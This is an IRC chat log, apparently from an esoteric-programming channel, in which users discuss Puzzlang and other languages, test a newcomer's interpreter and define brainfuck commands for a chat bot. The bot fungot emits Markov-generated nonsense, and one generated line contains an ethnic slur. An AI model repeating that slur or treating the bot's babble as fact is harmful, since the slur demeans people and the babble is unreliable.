22:03:16 <fizzie> That's what it's supposed to do.
22:03:33 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord prefixes tmp test celebrate wiki chr ha rainbow rainbow2 welcome me tell eval elikoski list ping def a thanks tmp2
22:03:38 <Daan> hello, guest. New to esotric as well?
22:03:46 <fizzie> It's still in the same place in the sort order, so I think that's what happened.
22:04:07 <Guest98157> if you've seen anything done by Christian Manahl in the wiki that's me.
22:04:42 <Daan> Not yet, but names dont stick with me. I still have a hard time remember who wrote befunge and bf
22:04:49 <Daan> chris and... urban?
22:05:04 <fizzie> ^def backwards bf ,[>,]<[.<]
22:05:19 <fizzie> I think that's a reimplementation of "rev", though.
22:05:26 <Daan> fungot is a bf bot?
22:05:26 <fungot> Daan: 30 for l= 1 to 500:next another device it is the vertical direction, the
22:05:29 <Guest98157> Can only mods add function definitions?
22:05:48 <fizzie> Guest98157: No, it's a free-for-all. Though you can't override built-in commands.
22:06:06 <oerjan> only fizzie can make them _stick_ though. it's his bot.
22:06:15 <Guest98157> Perhaps that's why someone resorted to calling a function 'srmlebac'.
22:06:41 <oerjan> Guest98157: the name makes perfect sense actually
22:06:52 <fizzie> It's the reverse of... I keep forgetting what the exact relationship is between (scramble, unscramble, srmlebac, uenlsbcmra).
22:07:13 <oerjan> i believe scramble and srmlebac are synonyms
22:07:20 <oerjan> and the others are the inverses
22:07:47 <Daan> I wanted to ask. I've written an interpreter for http://esolangs.org/wiki/Puzzlang (it was unimplemented) and where would be the best place to ask if someone could test it out?
22:08:22 <Daan> really? I'd appreciate it. It's in lua.
22:08:24 <shachaf> Could you test out changing your nick to something that doesn't start with Guest?
22:08:59 -!- Guest98157 has changed nick to CMM.
22:09:12 <Daan> down on the page I linked under implementations. InPuzzlang
22:09:13 -!- CMM has changed nick to ChrisMM.
22:09:28 <Daan> Puzzlang is a bit weird though.
22:09:46 <Daan> though there are example scripts on the page.
22:09:49 <ChrisMM> what do you mean invalid password
22:11:02 <Daan> The instructions are in the script source, that's you'll find on github with the link. If anything is less than clear, feedback is greatly appreciated.
22:11:24 <fizzie> Daan: To answer your earlier question, it's more of a "befunge bot that runs brainfuck/underload" than "brainfuck bot".
22:12:11 <fizzie> (That's where the "fung" part of the name comes from.)
22:12:13 <Daan> ah, name wise. Is it written with mirc script(?) or another?
22:12:23 <fizzie> It's written in Befunge.
22:12:28 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
22:13:28 <Daan> oh wow, even it's interaction (idk) with irc is in befunge.
22:13:54 <oerjan> ChrisMM: the nick ChrisMM is already registered, but it hasn't been used in so long that you can easily get an admin to release it for you.
22:14:32 <oerjan> although i don't on the spot remember exactly how you find an admin, again.
22:14:32 <ChrisMM> Arright. I don't really care :P
22:14:39 <ChrisMM> It's probably not my first choice for username anyway
22:15:44 -!- FreeFull has joined.
22:16:07 -!- Ando has joined.
22:16:10 <ChrisMM> OK, daan, getting your code
22:16:17 <Ando> lousy internet connection.
22:16:23 <Ando> thanks Chris :D
22:17:04 <ChrisMM> I probably shouldn't be giving you too much hope, I know nothing about Lua. I'm just gonna write some Puzzlang stuff and pass it to your code and tell you what happens.
22:17:40 <Ando> first interpreter I've written... though it's more of a translator. It can execute the translated bf code though.
22:17:42 -!- Daan has quit (Ping timeout: 245 seconds).
22:18:00 <ChrisMM> Oh, yeah, no worries, it's impressive
22:18:04 -!- Ando has changed nick to Daan.
22:18:15 <ChrisMM> I wrote my first interpreter and was super excited. It's Cork on the wiki.
22:18:21 -!- Sprocklem has quit (Ping timeout: 240 seconds).
22:19:54 <Daan> The page doesn't seem to link to your implementation (if I'm looking right)
22:20:13 <ChrisMM> Because I thought it was a horrible implementation and I vowed I would improve it and I didn't
22:20:21 <ChrisMM> I still have it saved, though..
22:20:50 <oerjan> ChrisMM: oh hm i realized my sentence has ambiguous parsing, s/hasn't been used/has been unused/
22:21:39 <ChrisMM> Either way I interpreted it right
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22:24:15 <ChrisMM> I haven't encountered any errors yet, Daan
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22:25:01 <Daan> I'll probably rewrite it in python once I learn python again.
22:25:19 -!- Sprocklem_ has joined.
22:25:40 <Daan> Not that it's that important, puzzlang is probably on of the more obscure bf derivitive to be found on the wiki
22:25:54 <ChrisMM> http://pastebin.com/bMcufWvS
22:26:15 <ChrisMM> Hey, as long as you're having fun programming it's worth it ^^
22:26:33 <Daan> the esoteric thing is very fun.
22:26:43 -!- Sprocklem_ has changed nick to Sprocklem.
22:26:48 <ChrisMM> I have yet to find the perfect language.
22:27:08 <ChrisMM> FALSE is awesome, but I've spent days trying to make an interpreter in Python and I can't figure it out
22:29:55 <Daan> to use your interpreter do I "python interpreter.py script.crk"?
22:30:57 <ChrisMM> you have to manually pass the code as a string to run
22:31:18 <ChrisMM> exactly why I was too embarrassed to publish it
22:31:34 <Daan> hehe. seems doable to fix it up.
22:31:57 <Daan> it's cool that you've come up with your own language.
22:32:03 <Daan> I'm not there yet.
22:32:30 <ChrisMM> It's really way way simple
22:32:58 <ChrisMM> and I'm lacking in a bunch of things when it comes to coding, I assure you.
22:33:08 <Daan> aren't we all.
22:34:19 <ChrisMM> I've just been doing a lot of coding on this school-issued laptop? so I'm not allowed to use command line, I've just been using repl.it
22:36:50 <Daan> how does one execute the source code that's copy/pasted on the left?
22:36:58 <oerjan> <Daan> Not that it's that important, puzzlang is probably on of the more obscure bf derivitive to be found on the wiki <-- I dunno the competition is fierce hth
22:37:13 <ChrisMM> There's an arrow up and to the right that runs it in the command line
22:37:23 <Daan> to make a more obsure bf derivative?
22:37:41 <Daan> right, see it. thanks.
22:38:10 <fizzie> I have here a False compiler targeting the Java VM, I wonder how complete it is.
22:38:11 <Daan> you don't think Highly of bf, Id imagine.
22:38:13 <fizzie> I think it's one of those that ran aground at the bytecode validator due to trying to be overly clever and use the JVM stack directly as the False stack.
22:38:30 <oerjan> Daan: no we don't think highly of bd _derivatives_. observe:
22:38:35 <HackEgo> brainfuck is the integral of the family of terrible esolangs.
22:38:57 <Daan> oh, lol I thought hackego was a person.
22:39:10 <oerjan> that doesn't mean they are absolutely _all_ bad, but they're ridiculously overdone.
22:39:24 <Daan> Well, I can see that perspective. It was cool learning bf though.
22:39:26 <ChrisMM> http://esolangs.org/wiki/Placement
22:40:06 <Daan> yeah, saw that one a bit ago. that'll be hard to test.
22:40:33 <Daan> reminds me of the "what colour is the bear" riddle.
22:40:56 -!- boily has joined.
22:42:06 <Daan> wich esoteric language do you find the most exciting atm, Oerjan?
22:45:56 <oerjan> hm it's been a while since i did anything exciting with esolangs
22:46:21 <Daan> turing complete
22:46:41 <Daan> I have no idea what fault handling is (sort of), but that's cool.
22:48:11 <oerjan> my emmental interpreter of underload may have been the last thing that was really cool
22:48:16 <newsham> cpu instruction tries to access an address, mmu looks it up, finds there is no translation for it, causes an "exception", which causes the cpu to push stuff on the stack and jump to a distinguished address (fault handler address, based on an entry in a table in memory)
22:48:34 <oerjan> i have a soft spot for underload, though.
22:50:07 -!- copumpkin has joined.
22:51:04 <Daan> underload is all about the stack?
22:51:19 <ChrisMM> I wrote /// in python and lost it and now I have to do it again v_v
22:51:44 <Daan> newsham, sounds very complicated to figure out. It changes with architecture?
22:53:26 <Sgeo_> What capacities do traversables give me that streams don't? Converting from stream to data structure is the big thing I can think of, but considering that I can just have the oriignal object be on hand... hard to think of examples
22:56:24 <Sgeo_> So I could go through the trouble of creating Applicatives etc. and basically having functionality similar to original van Laarhoven lenses... or I could avoid doing that with no major repercussions?
22:56:59 <oerjan> oh hm the last thing i have on my website seems to be the resplicate tc proof
23:00:05 <boily> resplicate is great. it even has a nice logo to go with it ^^
23:02:13 <ChrisMM> gha what's wrnog with my codeeee
23:02:39 <oerjan> Daan: yes it's a stack language, although note that it can construct programs on the fly to put there so it's stack use is much more than the numbers of e.g. befunge
23:04:01 <zzo38> I do not quite understand the hash tables in merge.c
23:04:26 -!- Daan has quit (Ping timeout: 250 seconds).
23:13:04 <zzo38> But I can see it is based on qsort and strrevcmp which are also some of my idea related to such things
23:15:37 -!- Sprocklem has quit (Ping timeout: 245 seconds).
23:16:43 -!- Sprocklem has joined.
23:19:23 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord prefixes tmp test celebrate wiki chr ha rainbow rainbow2 welcome me tell eval elikoski list ping def a thanks tmp2 backwards
23:20:05 <fungot> >,[>,]<[<]>[[.>]<[<]>[-]>]
23:20:37 <fungot> +3>4+6[->+8<],[<4.>[->+>+<2]>2-[-[-[-[-[-[-[<[-]>[-]]]]]]]]<[-<+>2+<]<+>4.[-<2+>3+<]<2+2.[-]>.>2[-<+>]<2,]
23:20:55 <lambdabot> CYQB 312315Z 25014G24KT 4SM -TSRA BR BKN020 OVC040 21/19 A2982 RMK SC7SC1 CB EMBDD VIS LWR E PRESRR SLP099 DENSITY ALT 1000FT
23:21:04 <boily> yup. -TSRA indeed.
23:21:17 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
23:22:10 <fungot> ,[.,]+14[>+8>+4>+7>+6<4-]>2+2.-26.>2+3.+14.+7.<+.>+3.-2.<+2.<.<+4.>3+2.<2.>2+5.<+3.-3.<.+73.+5.>2.<.>-2.-4.<-4.<2.>-5.>2+.-.<.>-2.<-65.<-.+13.>2-10.<.>+4.<2-6.<-2.>2.+69.<2+.>.+5.>.<-2.>+4.>-3.-67.<2-2.<-.-3.-8.>+2.<-6.>-5..>.<+.<+6.>3.<2-2.>-8.<+2.<.>+7.>.<2.-2.>3.<3-.>2+4.<-2.>+4.-2.<-5.>2.<-6.<.>+3.>.<3.+.>+2.<+7.>-.+10.<+.>2+.<2+.>-5.>2+.-.<-31.<2+.>-2.>2.<2-5.+2.+3.>+31.>.<+4.<-4.-8.>+6.+3.<2-2.>-5.>+2.<2-4.+6.-.>3+12.-12.
23:22:37 <ChrisMM> ascii doesn't have color support
23:22:53 <ChrisMM> ^rainbow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
23:22:53 <fungot> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
23:23:01 <boily> the joys and wonders of IRC.
23:23:04 <ChrisMM> ^rainbow2 %%%%%%%%%%%%%%%%%%%%%%%%
23:23:04 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
23:23:12 <boily> ChrisMM: were you ever `relcomed?
23:23:17 <HackEgo> ChrisMM: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
23:23:17 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
23:23:24 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
23:23:56 <fungot> (I think you mean @tell instead?)S
23:24:08 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord prefixes tmp test celebrate wiki chr ha rainbow rainbow2 welcome me tell eval elikoski list ping def a thanks tmp2 backwards
23:24:36 <fungot> >,[>,]<[<]>[.[-]>[>]<[.[-]<[<]]>]
23:24:49 <boily> ChrisMM: it's far from the worst spamming we sometimes have. nothing surprising there, and tbh it's quite enjoyable hth
23:25:04 <boily> (also, have you read your wisdom PDF today? :D)
23:25:21 <zzo38> Well, you can send such command using private message too if you like to
23:26:42 -!- AndoDaan has joined.
23:26:51 <ChrisMM> ^def output >>++++++++++<<[->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<]>>[-]>>>++++++++++<[->-[>+>>]>[+[-
23:26:51 <fungot> Usage: ^def <command> <lang> <code>
23:26:51 <ChrisMM> <+>]>+>>]<<<<<]>[-]>>[>++++++[-<++++++++>]<.<<+>+>[-]]<[<[->-<]++++++[->++++++++
23:26:51 <ChrisMM> <]>.[-]]<<++++++[-<++++++++>]<.[-]<<[-<+>]<
23:27:31 <ChrisMM> ^def output bf >>++++++++++<<[->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<]>>[-]>>>++++++++++<[->-[>+>>]>[+[-
23:27:31 <ChrisMM> <+>]>+>>]<<<<<]>[-]>>[>++++++[-<++++++++>]<.<<+>+>[-]]<[<[->-<]++++++[->++++++++
23:27:45 <ChrisMM> Took you long enough, Fungot.
23:29:05 <ChrisMM> <]>.[-]]<<+6[-<+8>]<.[-]<<[-<+>]<
23:29:47 <fungot> ChrisMM: there are two other lines, see the game paddle input description at 54297 ( d419) for the printer to go back to your program at its full speed. this allows you to read or set this pointer themselves, in fact, the
23:29:55 <fungot> Available: agora alice c64* ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
23:30:02 <fungot> Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy)
23:30:13 <ChrisMM> Oh, I assumed it would be like the darwin command line
23:30:20 <fungot> Selected style: fungot (What I've said myself)
23:30:23 <fungot> ChrisMM: no, it's not. it's more complex than that. read the code.) good stuff :p anything in the database transactions that have failed due to the error that would otherwise not have to simplify the program will end
23:30:41 <fungot> Selected style: homestuck (Homestuck pages 1901-4673)
23:30:44 <fungot> ChrisMM: that is a winner's attitude, and there is no particularly good human translation for this concept. a concept usually denoted by a single, linear concept. a concept usually denoted by a single, linear concept. a concept usually denoted by a single, linear concept. a concept usually denoted by a single, linear concept. a concept usually denoted by a single, linear concept. a concept usually denoted by a single, linear co
23:31:03 <fungot> AndoDaan: good idea! the thought of that??? you are quite a sn0b 4h4h4h4 so gull1bl3 beard, he was, in fact, his cadre of fellow wizards for real just like it is for your other artifacts beneath his extremely important
23:31:16 <fungot> AndoDaan: you do a very quick doodle of nothing in here except an opening in the floor. an off-suited king and jack. he came here into our game and caused him to surrender to overwhelming emotions. more problems in the four most vociferous trolls so far, who's not, really,
23:31:33 <boily> AndoDaan: fungot is fungot. it's all fungot now.
23:31:33 <fungot> boily: but that jackass won't shut up and stop the thief in the throes of an unraveling alibi. " the massacre of syrs gnelph was not as written a message you got, my brother, and we just keep the safe or tub handy or was it?
23:31:44 -!- not^v has changed nick to CaretVeePomm.
23:31:54 <fungot> AndoDaan: but it is your journey i am in sports legend, charles. jewels of wisdom. good grief. you can't turn your sylladex
23:32:09 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck* ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
23:32:22 <fungot> Selected style: speeches (misc. speeches from Project Gutenberg)
23:32:30 <fungot> Selected style: oots (Order Of The Stick)
23:32:35 <fungot> Selected style: pa (around 1200 transcribed Penny Arcade comics)
23:32:52 <fungot> Selected style: wp (1/256th of all Wikipedia "Talk:" namespace pages)
23:32:58 <fungot> Selected style: fisher (Fisher corpus of transcribed telephone conversations)
23:33:04 <fungot> Selected style: jargon (UNIX-HATERS mailing list archive)
23:33:12 <fungot> Selected style: lovecraft (H. P. Lovecraft's writings)
23:33:16 <fungot> ChrisMM: it was in edward's script. but why had nothing new ever grown over these five acres of grey desolation that sprawled open to the polar sky. ascent was effected over the steep, fnord hillside ending in a very crabbed and archaic hand; and though still walking on automatically, resigned myself to the study of colonial architecture, furniture, and craftsmanship at length crowded everything else from his sphere of interest
23:34:06 <fungot> Selected style: youtube (Some YouTube comments)
23:34:11 <fungot> ChrisMM: it's the paul potts and andrew johnson and plowed into the trees! god bless those onboard!
23:36:33 <HackEgo> [wiki] [[User:AndoDaan]] N http://esolangs.org/w/index.php?oldid=40380 * AndoDaan * (+84) Created page with "Is just starting out in esoteric languages. Has written an [[Puzzlang]] interpreter."
23:37:08 <AndoDaan> i kid... I mean, I know what I did.
23:37:25 -!- zzo38 has quit (Remote host closed the connection).
23:37:29 <AndoDaan> How do I register my nick on here?
23:38:35 <oerjan> ChrisMM: it's awkward to define fungot commands that are longer than a single irc line, but you can do it with the str stuff
23:38:35 <fungot> oerjan: i 3 me and several others here have already explained here that slant eye saying oh no oh no oh no, oh and dont forget to tell the good work guys.
23:38:38 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
23:39:18 <oerjan> AndoDaan: /msg nickserv help
23:39:48 <shachaf> @google How do I register my nick on here?
23:41:35 <oerjan> AndoDaan: i think the faq also has some tips on what to put in your registration
23:42:19 <oerjan> i'm thinking of the server connecting
23:42:28 <AndoDaan> is nickserve freenode or actually "nickserve"?
23:43:31 <oerjan> this is the freenode network, anyhow (thus my good hit comment)
23:44:06 -!- ChrisMM has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
23:45:05 <AndoDaan> I was looking at the wrong screen, I think it worked thanks.
23:45:57 <lambdabot> https://twitter.com/hashtag/fungot
23:46:09 <shachaf> whoa, I've had my nick for more than 10 years.
23:47:01 <oerjan> yes he does, it's just not active
23:47:15 <oerjan> unless fizzie has reactivated it recently
23:51:01 -!- CaretVeePomm has changed nick to ^4.
23:51:23 <oerjan> i somehow doubt that's what those two girls were talking about, though